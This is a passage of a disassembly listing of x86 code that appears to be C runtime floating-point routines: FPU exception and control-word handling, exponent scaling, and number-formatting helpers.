		dec	ecx
		jz	short loc_41995B
		dec	ecx
		jz	short loc_419951
		dec	ecx
		jnz	short loc_419969
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419969
; ---------------------------------------------------------------------------

loc_419951:				; CODE XREF: sub_4196E9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419963
; ---------------------------------------------------------------------------

loc_41995B:				; CODE XREF: sub_4196E9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_419963:				; CODE XREF: sub_4196E9+270j
		mov	[esi], ecx
		jmp	short loc_419969
; ---------------------------------------------------------------------------

loc_419967:				; CODE XREF: sub_4196E9+257j
		and	[esi], edx

loc_419969:				; CODE XREF: sub_4196E9+260j
					; sub_4196E9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419989
		dec	ecx
		jz	short loc_419980
		dec	ecx
		jnz	short loc_419992
		and	[esi], edx
		jmp	short loc_419992
; ---------------------------------------------------------------------------

loc_419980:				; CODE XREF: sub_4196E9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419990
; ---------------------------------------------------------------------------

loc_419989:				; CODE XREF: sub_4196E9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_419990:				; CODE XREF: sub_4196E9+29Ej
		mov	[esi], ecx

loc_419992:				; CODE XREF: sub_4196E9+291j
					; sub_4196E9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41999C	proc near		; CODE XREF: sub_419651+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199C7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199C7
		push	ebx
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_4199C7:				; CODE XREF: sub_41999C+15j
					; sub_41999C+1Aj
		test	al, 4
		jz	short loc_4199E1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199E1
		push	4
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_4199E1:				; CODE XREF: sub_41999C+2Dj
					; sub_41999C+33j
		test	al, bl
		jz	loc_419ABB
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419ABB
		push	8
		call	sub_419E49
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A93
		cmp	ecx, 400h
		jz	short loc_419A6B
		cmp	ecx, 800h
		jz	short loc_419A43
		cmp	ecx, eax
		jnz	loc_419AB3
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438098
		fnstsw	ax
		sahf
		ja	short loc_419A3B
		fchs

loc_419A3B:				; CODE XREF: sub_41999C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A43:				; CODE XREF: sub_41999C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A5B
		fld	dbl_438088
		jmp	short loc_419A63
; ---------------------------------------------------------------------------

loc_419A5B:				; CODE XREF: sub_41999C+B5j
		fld	dbl_438098
		fchs

loc_419A63:				; CODE XREF: sub_41999C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A6B:				; CODE XREF: sub_41999C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A83
		fld	dbl_438098
		jmp	short loc_419A8B
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_41999C+DDj
		fld	dbl_438088
		fchs

loc_419A8B:				; CODE XREF: sub_41999C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A93:				; CODE XREF: sub_41999C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438088
		fnstsw	ax
		sahf
		ja	short loc_419AAB
		fchs

loc_419AAB:				; CODE XREF: sub_41999C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_419AB1:				; CODE XREF: sub_41999C+A5j
					; sub_41999C+CDj ...
		fstp	qword ptr [ecx]

loc_419AB3:				; CODE XREF: sub_41999C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_419ABB:				; CODE XREF: sub_41999C+47j
					; sub_41999C+51j
		test	al, 2
		jz	loc_419B91
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B91
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AD6
		mov	esi, ebx

loc_419AD6:				; CODE XREF: sub_41999C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B7F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D48
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B21
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B75
; ---------------------------------------------------------------------------

loc_419B21:				; CODE XREF: sub_41999C+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B33
		mov	edx, ebx
		jmp	short loc_419B35
; ---------------------------------------------------------------------------

loc_419B33:				; CODE XREF: sub_41999C+191j
		xor	edx, edx

loc_419B35:				; CODE XREF: sub_41999C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B69
		sub	eax, ecx

loc_419B4C:				; CODE XREF: sub_41999C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B57
		test	esi, esi
		jnz	short loc_419B57
		mov	esi, ebx

loc_419B57:				; CODE XREF: sub_41999C+1B3j
					; sub_41999C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B63
		or	byte ptr [ebp+var_C+3],	80h

loc_419B63:				; CODE XREF: sub_41999C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B4C

loc_419B69:				; CODE XREF: sub_41999C+1ACj
		test	edx, edx
		jz	short loc_419B75
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_419B75:				; CODE XREF: sub_41999C+183j
					; sub_41999C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B81
; ---------------------------------------------------------------------------

loc_419B7F:				; CODE XREF: sub_41999C+14Ej
		mov	esi, ebx

loc_419B81:				; CODE XREF: sub_41999C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B8E
		push	10h
		call	sub_419E49
		pop	ecx

loc_419B8E:				; CODE XREF: sub_41999C+1E8j
		and	edi, 0FFFFFFFDh

loc_419B91:				; CODE XREF: sub_41999C+26j
					; sub_41999C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419BA8
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419BA8
		push	20h
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_419BA8:				; CODE XREF: sub_41999C+1F9j
					; sub_41999C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int)

sub_419BB3	proc near		; CODE XREF: sub_4195FE+2Bp
					; sub_419651+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C61
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419C1E
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E26
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D813
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419C18
		push	esi
		call	sub_419C3B
		pop	ecx

loc_419C18:				; CODE XREF: sub_419BB3+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_419C1E:				; CODE XREF: sub_419BB3+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E26
		push	[ebp+arg_0]
		call	sub_419C3B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C3B	proc near		; CODE XREF: sub_419651+7Dp
					; sub_419BB3+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C56
		jle	short locret_419C60
		cmp	eax, 3
		jg	short locret_419C60
		mov	dword_4694B4, 22h
		retn
; ---------------------------------------------------------------------------

loc_419C56:				; CODE XREF: sub_419C3B+7j
		mov	dword_4694B4, 21h

locret_419C60:				; CODE XREF: sub_419C3B+9j
					; sub_419C3B+Ej
		retn
sub_419C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C61	proc near		; CODE XREF: sub_419BB3+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437FB0

loc_419C68:				; CODE XREF: sub_419C61+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C7E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438088
		jl	short loc_419C68
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_419C7E:				; CODE XREF: sub_419C61+Dj
		mov	eax, off_437FB4[ecx*8]
		retn
sub_419C61	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C86	proc near		; CODE XREF: sub_419651+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C92
		push	5
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419C92:				; CODE XREF: sub_419C86+6j
		test	al, 8
		jz	short loc_419C9A
		push	1
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419C9A:				; CODE XREF: sub_419C86+Ej
		test	al, 4
		jz	short loc_419CA2
		push	2
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419CA2:				; CODE XREF: sub_419C86+16j
		test	al, 1
		jz	short loc_419CAA
		push	3

loc_419CA8:				; CODE XREF: sub_419C86+Aj
					; sub_419C86+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419CAA:				; CODE XREF: sub_419C86+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CB3(double)

sub_419CB3	proc near		; CODE XREF: sub_415E6C:loc_415EF2p
					; sub_415FB3:loc_416039p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CC5(double,int)

sub_419CC5	proc near		; CODE XREF: sub_419D48+82p
					; sub_419D48+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CEE	proc near		; CODE XREF: sub_415E6C+31p
					; sub_415FB3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419D05
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	1
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D05:				; CODE XREF: sub_419CEE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419D17
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	2
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D17:				; CODE XREF: sub_419CEE+11j
					; sub_419CEE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D2A
		push	3
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D2A:				; CODE XREF: sub_419CEE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D44
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D3F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D44

loc_419D3F:				; CODE XREF: sub_419CEE+4Aj
		push	4

loc_419D41:				; CODE XREF: sub_419CEE+15j
					; sub_419CEE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419D44:				; CODE XREF: sub_419CEE+41j
					; sub_419CEE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D48(double,int)

sub_419D48	proc near		; CODE XREF: sub_41999C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D68
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DFE
; ---------------------------------------------------------------------------

loc_419D68:				; CODE XREF: sub_419D48+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DD7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D80
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DD7

loc_419D80:				; CODE XREF: sub_419D48+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D98
		push	1
		pop	eax
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------

loc_419D98:				; CODE XREF: sub_419D48+49j
		xor	eax, eax

loc_419D9A:				; CODE XREF: sub_419D48+4Ej
					; sub_419D48+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419DB3
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419DAD
		or	dword ptr [ebp+arg_0+4], 1

loc_419DAD:				; CODE XREF: sub_419D48+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------

loc_419DB3:				; CODE XREF: sub_419D48+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DC1
		or	byte ptr [ebp+arg_0+7],	80h

loc_419DC1:				; CODE XREF: sub_419D48+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DFE
; ---------------------------------------------------------------------------

loc_419DD7:				; CODE XREF: sub_419D48+28j
					; sub_419D48+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_419DFE:				; CODE XREF: sub_419D48+1Bj
					; sub_419D48+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E09	proc near		; CODE XREF: sub_4196E9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E17	proc near		; CODE XREF: sub_4196E9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E26	proc near		; CODE XREF: sub_415E6C+13p
					; sub_415E6C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E49	proc near		; CODE XREF: sub_41999C+1Dp
					; sub_41999C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E60
		fld	tbyte_4380B0
		fistp	[ebp+arg_0]
		wait

loc_419E60:				; CODE XREF: sub_419E49+Bj
		test	cl, 8
		jz	short loc_419E75
		fstsw	ax
		fld	tbyte_4380B0
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_419E75:				; CODE XREF: sub_419E49+1Aj
		test	cl, 10h
		jz	short loc_419E84
		fld	tbyte_4380BC
		fstp	[ebp+var_8]
		wait

loc_419E84:				; CODE XREF: sub_419E49+2Fj
		test	cl, 4
		jz	short loc_419E92
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_419E92:				; CODE XREF: sub_419E49+3Ej
		test	cl, 20h
		jz	short locret_419E9D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E9D:				; CODE XREF: sub_419E49+4Cj
		leave
		retn
sub_419E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E9F	proc near		; CODE XREF: sub_415F3B+Fp
		push	30000h
		push	10000h
		call	sub_41D84B
		pop	ecx
		pop	ecx
		retn
sub_419E9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EB1	proc near		; CODE XREF: sub_419EEF:loc_419F13j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4217C0
		fstp	[ebp+var_8]
		fld	dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419EEB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419EEB:				; CODE XREF: sub_419EB1+33j
		xor	eax, eax
		leave
		retn
sub_419EB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EEF	proc near		; CODE XREF: sub_415F3B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4210C8
		test	eax, eax
		jz	short loc_419F13
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4210C4
		test	eax, eax
		jz	short loc_419F13
		push	0
		call	eax ; sub_415F3B
		retn
; ---------------------------------------------------------------------------

loc_419F13:				; CODE XREF: sub_419EEF+Dj
					; sub_419EEF+1Dj
		jmp	sub_419EB1
sub_419EEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F18	proc near		; DATA XREF: sub_415F53+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417193
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F58

loc_419F2C:				; CODE XREF: sub_419F18+3Ej
		inc	esi
		cmp	dword_437F9C, 1
		jle	short loc_419F45
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_419F54
; ---------------------------------------------------------------------------

loc_419F45:				; CODE XREF: sub_419F18+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_437D90
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_419F54:				; CODE XREF: sub_419F18+2Bj
		test	eax, eax
		jnz	short loc_419F2C

loc_419F58:				; CODE XREF: sub_419F18+12j
		mov	cl, byte_437FA0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_419F63:				; CODE XREF: sub_419F18+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F63
		pop	esi
		retn
sub_419F18	endp

; ---------------------------------------------------------------------------

loc_419F72:				; DATA XREF: sub_415F53+5o
		mov	eax, [esp+4]
		mov	dl, byte_437FA0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F8E

loc_419F82:				; CODE XREF: .nsp0:00419F8Cj
		cmp	cl, dl
		jz	short loc_419F8E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F82

loc_419F8E:				; CODE XREF: .nsp0:00419F80j
					; .nsp0:00419F84j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419FBF

loc_419F95:				; CODE XREF: .nsp0:00419FA6j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419FA8
		cmp	cl, 65h
		jz	short loc_419FA8
		cmp	cl, 45h
		jz	short loc_419FA8
		inc	eax
		jmp	short loc_419F95
; ---------------------------------------------------------------------------

loc_419FA8:				; CODE XREF: .nsp0:00419F99j
					; .nsp0:00419F9Ej ...
		mov	ecx, eax

loc_419FAA:				; CODE XREF: .nsp0:00419FAEj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419FAA
		cmp	[eax], dl
		jnz	short loc_419FB5
		dec	eax

loc_419FB5:				; CODE XREF: .nsp0:00419FB2j
					; .nsp0:00419FBDj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419FB5

locret_419FBF:				; CODE XREF: .nsp0:00419F93j
		retn
; ---------------------------------------------------------------------------

loc_419FC0:				; DATA XREF: sub_415F53+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FD5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419FD5:				; CODE XREF: .nsp0:00419FCFj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD8	proc near		; DATA XREF: sub_415F53+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A001
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DD0E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A001:				; CODE XREF: sub_419FD8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD3B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A016	proc near		; CODE XREF: sub_41A293+17p
					; sub_41A2DD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_469520, 0
		push	ebx
		push	esi
		jz	short loc_41A04B
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_46951C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A32E
		pop	ecx
		pop	ecx
		jmp	short loc_41A083
; ---------------------------------------------------------------------------

loc_41A04B:				; CODE XREF: sub_41A016+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDDF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD68
		add	esp, 14h

loc_41A083:				; CODE XREF: sub_41A016+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A08F
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41A08F:				; CODE XREF: sub_41A016+73j
		test	ebx, ebx
		jle	short loc_41A0A7
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_437FA0
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41A0A7:				; CODE XREF: sub_41A016+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_469520, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415C00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0CE
		mov	byte ptr [ecx],	45h

loc_41A0CE:				; CODE XREF: sub_41A016+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A113
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0E2
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41A0E2:				; CODE XREF: sub_41A016+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0F9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

